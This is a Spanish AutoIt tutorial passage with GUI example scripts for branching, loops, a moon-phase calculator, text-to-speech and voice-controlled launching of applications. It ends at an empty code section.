<http://standards-oui.ieee.org/oui.txt>

- Modifica toma este archivo para obtenerlo de forma simplificada.

**26.- Select Case. If ... Then.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Select Case. EndSelect.**

-

|  |
| --- |
| **Select Case. EndSelect.** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Case - Juan A. Villalpando"**,** 420**,** 396**,** 192**,** 132)  $Group1 = GUICtrlCreateGroup("Países"**,** 80**,** 40**,** 273**,** 249)  $Radio1 = GUICtrlCreateRadio("España."**,** 112**,** 72**,** 145**,** 33)  $Radio2 = GUICtrlCreateRadio("México."**,** 112**,** 112**,** 137**,** 25)  $Radio3 = GUICtrlCreateRadio("Colombia."**,** 112**,** 152**,** 137**,** 25)  $Radio4 = GUICtrlCreateRadio("Argentina."**,** 112**,** 184**,** 97**,** 33)  $Radio5 = GUICtrlCreateRadio("Chile."**,** 112**,** 224**,** 105**,** 33)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $Button1 = GUICtrlCreateButton("Elige un país y pulsa este botón."**,** 80**,** 312**,** 273**,** 41)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Select**  **Case** GUICtrlRead($Radio1) = $GUI\_CHECKED  MsgBox(0**,** "España."**,** "La capital de España es Madrid.")  **Case** GUICtrlRead($Radio2) = $GUI\_CHECKED  MsgBox(0**,** "México."**,** "La capital de México es Ciudad de México.")  **Case** GUICtrlRead($Radio3) = $GUI\_CHECKED  MsgBox(0**,** "Colombia."**,** "La capital de Colombia es Bogotá.")  **Case** GUICtrlRead($Radio4) = $GUI\_CHECKED  MsgBox(0**,** "Argentina."**,** "La capital de Argentina es Buenos Aires.")  **Case** GUICtrlRead($Radio5) = $GUI\_CHECKED  MsgBox(0**,** "Chile."**,** "La capital de Chile es Santiago.")  **EndSelect**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- If... Then... ElseIf.**

|  |
| --- |
| **If ... Then ElseIf.** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Case - Juan A. Villalpando"**,** 420**,** 396**,** 192**,** 132)  $Group1 = GUICtrlCreateGroup("Países"**,** 80**,** 40**,** 273**,** 249)  $Radio1 = GUICtrlCreateRadio("España."**,** 112**,** 72**,** 145**,** 33)  $Radio2 = GUICtrlCreateRadio("México."**,** 112**,** 112**,** 137**,** 25)  $Radio3 = GUICtrlCreateRadio("Colombia."**,** 112**,** 152**,** 137**,** 25)  $Radio4 = GUICtrlCreateRadio("Argentina."**,** 112**,** 184**,** 97**,** 33)  $Radio5 = GUICtrlCreateRadio("Chile."**,** 112**,** 224**,** 105**,** 33)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $Button1 = GUICtrlCreateButton("Elige un país y pulsa este botón."**,** 80**,** 312**,** 273**,** 41)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **if** GUICtrlRead($Radio1) = $GUI\_CHECKED **Then**  MsgBox(0**,** "España."**,** "La capital de España es Madrid.")  **ElseIf** GUICtrlRead($Radio2) = $GUI\_CHECKED **Then**  MsgBox(0**,** "México."**,** "La capital de México es Ciudad de México.")  **ElseIf** GUICtrlRead($Radio3) = $GUI\_CHECKED **Then**  MsgBox(0**,** "Colombia."**,** "La capital de Colombia es Bogotá.")  **ElseIf** GUICtrlRead($Radio4) = $GUI\_CHECKED **Then**  MsgBox(0**,** "Argentina."**,** "La capital de Argentina es Buenos Aires.")  **ElseIf** GUICtrlRead($Radio5) = $GUI\_CHECKED **Then**  MsgBox(0**,** "Chile."**,** "La capital de Chile es Santiago.")  **EndIf**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- If... Then...**

|  |
| --- |
| **If ... Then** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Case - Juan A. Villalpando"**,** 420**,** 396**,** 192**,** 132)  $Group1 = GUICtrlCreateGroup("Países"**,** 80**,** 40**,** 273**,** 249)  $Radio1 = GUICtrlCreateRadio("España."**,** 112**,** 72**,** 145**,** 33)  $Radio2 = GUICtrlCreateRadio("México."**,** 112**,** 112**,** 137**,** 25)  $Radio3 = GUICtrlCreateRadio("Colombia."**,** 112**,** 152**,** 137**,** 25)  $Radio4 = GUICtrlCreateRadio("Argentina."**,** 112**,** 184**,** 97**,** 33)  $Radio5 = GUICtrlCreateRadio("Chile."**,** 112**,** 224**,** 105**,** 33)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $Button1 = GUICtrlCreateButton("Elige un país y pulsa este botón."**,** 80**,** 312**,** 273**,** 41)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **if** GUICtrlRead($Radio1) = $GUI\_CHECKED **Then** MsgBox(0**,** "España."**,** "La capital de España es Madrid.")  **if** GUICtrlRead($Radio2) = $GUI\_CHECKED **Then** MsgBox(0**,** "México."**,** "La capital de México es Ciudad de México.")  **if** GUICtrlRead($Radio3) = $GUI\_CHECKED **Then** MsgBox(0**,** "Colombia."**,** "La capital de Colombia es Bogotá.")  **if** GUICtrlRead($Radio4) = $GUI\_CHECKED **Then** MsgBox(0**,** "Argentina."**,** "La capital de Argentina es Buenos Aires.")  **if** GUICtrlRead($Radio5) = $GUI\_CHECKED **Then** MsgBox(0**,** "Chile."**,** "La capital de Chile es Santiago.")  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**27.- Bucle For ... Next. While ... When.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Bucle For ... Next.**

- Va **acumulando** en la variable **$todo** cada una de las multiplicaciones. Las va mostrando poco a poco.

|  |
| --- |
| **Bucle For ... Next** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Tabla de multiplicar - Juan A. Villalpando"**,** 434**,** 426**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Escribe un número del 1 al 12"**,** 32**,** 24**,** 178**,** 20)  $Input1 = GUICtrlCreateInput("4"**,** 224**,** 24**,** 145**,** 24)  $Button1 = GUICtrlCreateButton("Pulsa"**,** 128**,** 72**,** 153**,** 49)  $Label2 = GUICtrlCreateLabel("Label2"**,** 48**,** 168**,** 333**,** 332)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $multiplicando = 0  $multiplicacion = 0  $todo = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $multiplicando = GUICtrlRead($Input1)  **If** $multiplicando > 12 **Then**  MsgBox(0**,** "Error."**,** "Número demasiado grande.")  **Else**  GUICtrlSetState($Button1**,** $GUI\_HIDE) **; Oculta el botón.**  $todo = ""  **For** $n = 1 **to** 10  $multiplicacion = $multiplicando \* $n  $todo = $todo & $multiplicando & " x " & $n & " = " & $multiplicacion & @CRLF  GUICtrlSetData($Label2**,** $todo)  Sleep (500) **; Poco a poco.**  **Next**  GUICtrlSetState($Button1**,** $GUI\_SHOW) **; Muestra el botón.**  Beep(500**,** 1000) **; Sonido final.**  **EndIf**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Bucle While ... Wend.**

|  |
| --- |
| **Bucle While ... Wend** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Tabla de multiplicar - Juan A. Villalpando"**,** 434**,** 426**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Escribe un número del 1 al 12"**,** 32**,** 24**,** 178**,** 20)  $Input1 = GUICtrlCreateInput("4"**,** 224**,** 24**,** 145**,** 24)  $Button1 = GUICtrlCreateButton("Pulsa"**,** 128**,** 72**,** 153**,** 49)  $Label2 = GUICtrlCreateLabel("Label2"**,** 48**,** 168**,** 333**,** 332)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $multiplicando = 0  $multiplicacion = 0  $todo = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $multiplicando = GUICtrlRead($Input1)  **If** $multiplicando > 12 **Then**  MsgBox(0**,** "Error."**,** "Número demasiado grande.")  **Else**  GUICtrlSetState($Button1**,** $GUI\_HIDE) **; Oculta el botón.**  $todo = ""  $n = 1  **While** $n < 10  $multiplicacion = $multiplicando \* $n  $todo = $todo & $multiplicando & " x " & $n & " = " & $multiplicacion & @CRLF  GUICtrlSetData($Label2**,** $todo)  Sleep (500) **; Poco a poco.**  $n = $n + 1  **Wend**  GUICtrlSetState($Button1**,** $GUI\_SHOW) **; Muestra el botón.**  Beep(500**,** 1000) **; Sonido final.**  **EndIf**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- If... Then**

|  |
| --- |
| **If ... Then** |
|  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**28.- Fases de la luna.**

- Conociendo el algoritmo para calcular las fases de la luna, vamos a adaptarlo a AutoIt.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Ejecutamos Koda para crear el formulario.**

- El dibujo de la imagen lo tomamos desde la**Propiedad Picture**.

- Es conveniente que el dibujo se encuentre en la misma carpeta que el código.

|  |
| --- |
| **Código completo: los componentes y el algoritmo.** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1\_1 = GUICreate("Fase Lunar"**,** 400**,** 300**,** 192**,** 124)  $Label1 = GUICtrlCreateLabel("Día"**,** 32**,** 40**,** 31**,** 24)  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Input1 = GUICtrlCreateInput(""**,** 72**,** 32**,** 33**,** 28**,** BitOR($ES\_RIGHT**,**$ES\_AUTOHSCROLL))  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Label2 = GUICtrlCreateLabel("Mes"**,** 128**,** 40**,** 37**,** 24)  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Input2 = GUICtrlCreateInput(""**,** 176**,** 32**,** 33**,** 28**,** BitOR($ES\_RIGHT**,**$ES\_AUTOHSCROLL))  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Label3 = GUICtrlCreateLabel("Año"**,** 232**,** 40**,** 36**,** 24)  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Input3 = GUICtrlCreateInput(""**,** 280**,** 32**,** 49**,** 28**,** BitOR($ES\_RIGHT**,**$ES\_AUTOHSCROLL))  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Button1 = GUICtrlCreateButton("Pulsa para obtener la fase lunar"**,** 80**,** 72**,** 201**,** 33)  $Label4 = GUICtrlCreateLabel("Fase lunar:"**,** 24**,** 128**,** 94**,** 24)  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Label5 = GUICtrlCreateLabel(""**,** 128**,** 128**,** 260**,** 40)  GUICtrlSetFont(-1**,** 12**,** 800**,** 0**,** "MS Sans Serif")  $Pic1 = GUICtrlCreatePic("fase\_lunar.gif"**,** 32**,** 176**,** 305**,** 57**,** BitOR($SS\_NOTIFY**,**$WS\_GROUP**,**$WS\_CLIPSIBLINGS))  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Cuando pulsa el botón realiza el cálculo.**  **Case** $msg = $Button1  $dia = GUICtrlRead($Input1)  $mes = GUICtrlRead($Input2)  $anno = GUICtrlRead($Input3)  $c = 0  $e = 0  $jd = 0  $b = 0  **If** ($mes < 3) **Then**  $anno = $anno - 1  $mes = $mes + 12  **EndIf**  $mes = $mes + 1  $c = 365.25 \* $anno  $e = 30.6 \* $mes  $jd = $c + $e + $dia - 694039.09 **; jd es el tiempo total transcurrido**  $jd = $jd / 29.5305882 **; divide por el ciclo lunar**  $b = Int ($jd)  $jd = $jd - $b  $b = Round($jd \* 8)  **If** ($b >= 8 ) **Then** $b = 0  **Switch** $b  **Case** 0  $fase = "Luna nueva"  **Case** 1  $fase = "Poco creciente"  **Case** 2  $fase = "Cuarto creciente"  **Case** 3  $fase = "Muy creciente"  **Case** 4  $fase = "Luna llena"  **Case** 5  $fase = "Poco menguante"  **Case** 6  $fase = "Cuarto menguante"  **Case** 7  $fase = "Muy menguante"  **EndSwitch**  GUICtrlSetData($Label5**,** $b & "-" & $fase)  **EndSelect**  **WEnd**  **Exit** |

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: **fase\_luna.exe**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

-

**29.- Texto a voz.**

- Escribimos un texto y nos lo pronuncia en español.

- Es necesario incluir la librería:

#include <TTS.au3>

- [**TTS.au3**](http://kio4.com/autoit/programas/TTS.au3)

- Puedes instalar voces desde aquí: MicrosoftTTSVoices\_Install.exe

[- http://www.screamingbee.com/download/ScriptVOXStudio/MicrosoftTTSVoices\_Install.exe](http://www.screamingbee.com/download/ScriptVOXStudio/MicrosoftTTSVoices_Install.exe)

|  |
| --- |
| **De texto a voz** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <TTS.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Texto a voz - Juan A. Villalpando"**,** 528**,** 247**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Escribe un texto: "**,** 24**,** 24**,** 104**,** 20)  $Edit1 = GUICtrlCreateEdit(""**,** 144**,** 24**,** 361**,** 113)  GUICtrlSetData(-1**,** "Hola amigos. Espero que te guste este tutoriál")  $Button1 = GUICtrlCreateButton("Pulsa"**,** 136**,** 168**,** 257**,** 49)  $Button2 = GUICtrlCreateButton("Borrar texto"**,** 408**,** 168**,** 97**,** 49)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###**  $Default = \_StartTTS()  **If** Not IsObj($Default) **Then**  MsgBox(0**,** 'Error'**,** 'Error al crear el objeto StartTTS')  **Exit**  **EndIf**  MsgBox(0**,** 'Voces instaladas.'**,** StringReplace(\_GetVoices($Default**,** False)**,** '|'**,** @CRLF))  $Juan = \_StartTTS()  \_SetVoice($Juan**,** 'Juan')  **If** @error **Then**  \_Speak($Default**,** 'La voz de Juan no está instalada.')  $Juan = False  **EndIf**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $Texto = GUICtrlRead($Edit1)  \_SetRate($Juan**,** 2) **; Velocidad rápida de voz de Juan.**  **If** IsObj($Juan) **Then** \_Speak($Juan**,** $Texto)  \_SetRate($Juan**,** -5) **; Velocidad lenta de voz de Juan.**  **If** IsObj($Juan) **Then** \_Speak($Juan**,** $Texto)  **Case** $msg = $Button2  GUICtrlSetData($Edit1**,**"")  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- Fíjate que he acentuado como aguda la palabra tutoriál, para que se pronuncie bien.

- Mediante esta línea salen las voces que tienes instaladas.

MsgBox(0**,** 'Voces instaladas.'**,** StringReplace(\_GetVoices($Default**,** False)**,** '|'**,** @CRLF))

- Este tutorial es una adaptación de:

- <https://www.autoitscript.com/forum/topic/100439-text-to-speech-udf/>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Otro código.**

- <https://www.autoitscript.com/forum/topic/12748-_talk-this-function-speaks-text-to-you/?page=2>

|  |
| --- |
| **De texto a voz** |
| #NoTrayIcon  #include <GUIConstants.au3>  **Dim** $voice = ObjCreate("Sapi.SpVoice")  $Error = ObjEvent("AutoIt.Error"**,** "ErrFunc")  GUICreate("Talker"**,** 600**,** 280)  $text = GUICtrlCreateInput("Escribe algo y te lo pronunciará."**,** 10**,** 10**,** 580**,** 50**,** $ES\_MULTILINE)  $speak = GUICtrlCreateButton("Speak"**,** 10**,** 65**,** -1**,** -1**,** $BS\_DEFPUSHBUTTON)  GUICtrlCreateGroup("Options"**,** 10**,** 100**,** 580**,** 170)  $rate = GUICtrlCreateSlider(20**,** 150**,** 280**,** 30**,** $TBS\_TOP + $TBS\_AUTOTICKS)  GUICtrlSetLimit($rate**,** 50**,** -50)  GUICtrlSetData($rate**,** 0)  $volume = GUICtrlCreateSlider(300**,** 150**,** 280**,** 30**,** $TBS\_TOP + $TBS\_AUTOTICKS)  GUICtrlSetLimit($volume**,** 100**,** 1)  GUICtrlSetData($volume**,** 100)  GUICtrlCreateLabel("Slow"**,** 20**,** 185)  GUICtrlCreateLabel("Normal"**,** 140**,** 185)  GUICtrlCreateLabel("Fast"**,** 270**,** 185)  GUICtrlCreateLabel("Quiet"**,** 310**,** 185)  GUICtrlCreateLabel("Loud"**,** 550**,** 185)  GUICtrlCreateLabel("Voice:"**,** 20**,** 233)  $voiceC = GUICtrlCreateCombo("Juan"**,** 60**,** 230**,** 100)  **Dim** $SOTokens = $voice**.**GetVoices(''**,** '')  **For** $Token **In** $SOTokens  GUICtrlSetData($voiceC**,** $Token**.**GetDescription)  **Next**  **;~ GUICtrlSetData($voiceC, "Microsoft Mike|Microsoft Mary|LH Michael|LH Michelle")**  GUISetState()  **While** 1  **Switch** GUIGetMsg()  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **Case** $speak  Speak(GUICtrlRead($text)**,** GUICtrlRead($voiceC)**,** GUICtrlRead($rate) / 10**,** GUICtrlRead($volume))  **EndSwitch**  **WEnd**  **Func** Speak($text**,** $SapiVoice**,** $rate = 1**,** $Vol = 100)  $voice**.**Rate = $rate  **If** @error **Then** Return  $voice**.**Volume = $Vol  **If** @error **Then** Return  **Local** $t\_voice = $voice**.**GetVoices ("Name=" & $SapiVoice**,** "Language=409")**.**Item (0)  **If** @error **Then** Return  $voice**.**Voice = $t\_voice  **If** Not @error **Then** $voice**.**Speak ($text)  **EndFunc** **;==>Speak**  **Func** ErrFunc()  MsgBox(48**,** "Error"**,** "Tu ordenador no tiene instalada la voz de " & GUICtrlRead($voiceC) & ".")  SetError(1)  **EndFunc** **;==>ErrFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**30.- Reconocedor de voz. Utter Speech Recognition.**

- Hablamos delante de un micrófono una serie de palabras ya configuradas y el AutoIt las muestra.

- También podemos hablar normalmente a dictado y el AutoIt escribe esas palabras.

- <https://www.autoitscript.com/forum/files/file/357-utter-speech-recognition-udf/>

- [**Utter 3.0.0.1.zip**](http://kio4.com/autoit/programas/Utter%203.0.0.1.zip)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Ejemplo de reconocimiento de palabra por voz.**

- Bajamos y descomprimimos el archivo [**Utter 3.0.0.1.zip**](http://kio4.com/autoit/programas/Utter%203.0.0.1.zip)

- Ponemos un micrófono en nuestro ordenador

- Abrimos el ejemplo **Example 2 (Word Recognition)**

- Ponemos una serie de palabras en inglés o en español para probar: "Love|Car|Exit|Follow|Autoit|Uno|Dos|Tres|Izquierda|Derecha"

- Pronunciamos esas palabras y veremos en la parte de abajo de la ventana del SciTe **(ConsoleWrite)** las palabras que hemos pronunciado.

|  |
| --- |
| **Example 2 (Word Recognition)** |
| #include "./Include/Utter.au3"  **;here "|" is default GUIDataSeparatorChar delimiter so string will be split from the delimiter**  $recognize = \_Utter\_Speech\_StartEngine() **;initializes the engine**  \_Utter\_Speech\_CreateGrammar($recognize**,**"Love|Car|Exit|Follow|Autoit|Uno|Dos|Tres|Izquierda|Derecha") **;Creates a grammar with the words**  \_Utter\_Speech\_CreateTokens($recognize) **;Creates a token for registering speech recognition**  \_Utter\_Speech\_GrammarRecognize($recognize**,**""**,**0**,**"\_spchin") **;Starts the recognition and calls the word recognized to the \_spchin function**  **While** 1  Sleep (50)  **WEnd**  \_Utter\_Speech\_ShutdownEngine() **;shutdowns the function**  **Func** \_spchin($dummy)  ConsoleWrite($dummy)  **Switch** $dummy  **Case** "exit" **;Exit the script when the user says exit**  **Exit**  **EndSwitch**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Pronuncias un color y se muestra un círculo con ese color.**

- Basado en el ejemplo anterior. Aparece un círculo relleno de un color, según pronunciemos las palabras rojo, azul, amarillo, verde, blanco o negro, el interior del círculo cambia de color.

|  |
| --- |
| **Círculo de color** |
| #include "./Include/Utter.au3"  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <SendMessage.au3>  $Form1 = GUICreate("Colores - Juan A. Villalpando"**,** 400**,** 400**,** 200**,** 200)  GUISetBkColor(0xffffff**,** $Form1)  **; Juan A. Villalpando. KIO4.COM. juana1991@yahoo.com**  $circulo = GUICtrlCreateGraphic(100**,** 50**,** 150**,** 150)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x000000**,** 0xFF0000) **;== Rojo**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUISetState()  $reconoce = \_Utter\_Speech\_StartEngine()  \_Utter\_Speech\_CreateGrammar($reconoce**,**"Rojo|Verde|Azul|Amarillo|Blanco|Negro")  \_Utter\_Speech\_CreateTokens($reconoce)  \_Utter\_Speech\_GrammarRecognize($reconoce**,**""**,**0**,**"\_spchin")  **While** 1  $msg = GUIGetMsg()  **Switch** $msg  **Case** $GUI\_EVENT\_CLOSE  **ExitLoop**  **EndSwitch**  **WEnd**  \_Utter\_Speech\_ShutdownEngine()  **Func** \_spchin($color)  ConsoleWrite($color)  **Switch** $color  **Case** "Rojo"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0xff0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **Case** "Verde"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0x00ff00)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **Case** "Azul"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0x0000ff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **Case** "Amarillo"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0xffff00)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **Case** "Blanco"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0xffffff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **Case** "Negro"  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_COLOR**,** 0x0000ff**,** 0x000000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 40**,** 50**,** 150**,** 150)  GUICtrlSetGraphic($circulo**,** $GUI\_GR\_REFRESH)  **EndSwitch**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Pronuncias el nombre de una aplicación y se ejecuta o se cierra.**

- Basado en el ejemplo anterior. Pronuncia el nombre de una de las aplicaciones configuradas en el programa y esa aplicación se ejecuta.

- Cuando pronunciamos:

"Paint|Bloc de notas|Calculadora|Word|Símbolo de sistema|Reproductor de Windows|Cerrar Bloc de notas|Cerrar Paint|Cerrar Calculadora"

se abre o cierra uno de esos programas.

- Observa la dirección de las aplicaciones, tal vez debas cambiar alguna, por el ejemplo la del Word, para que te funcione.

- Fíjate en un detalle que he comentado en tutoriales anteriores, si el archivo Utter.au3 está en la carpeta Include del AutoIt, es decir en...

C:\Program Files (x86)\AutoIt3\Include pondríamos #include <Utter.au3>

- En cambio si está en una carpeta llamada Include que está en la carpeta donde esté la aplicación, es decir en...

C:\Mis ejemplos\AutoIt3\Include pondríamos #include <./Include/Utter.au3>

- Las palabras elegidas también las podría haber puesto así:

$palabras = "Paint|Bloc de notas|Calculadora|Word|Símbolo de sistema|Reproductor de Windows|"

$palabras = $palabras & "Cerrar Bloc de notas|Cerrar Paint|Cerrar Calculadora"

\_Utter\_Speech\_CreateGrammar($reconoce, $palabras)

|  |
| --- |
| **Ejecutar aplicación por voz** |
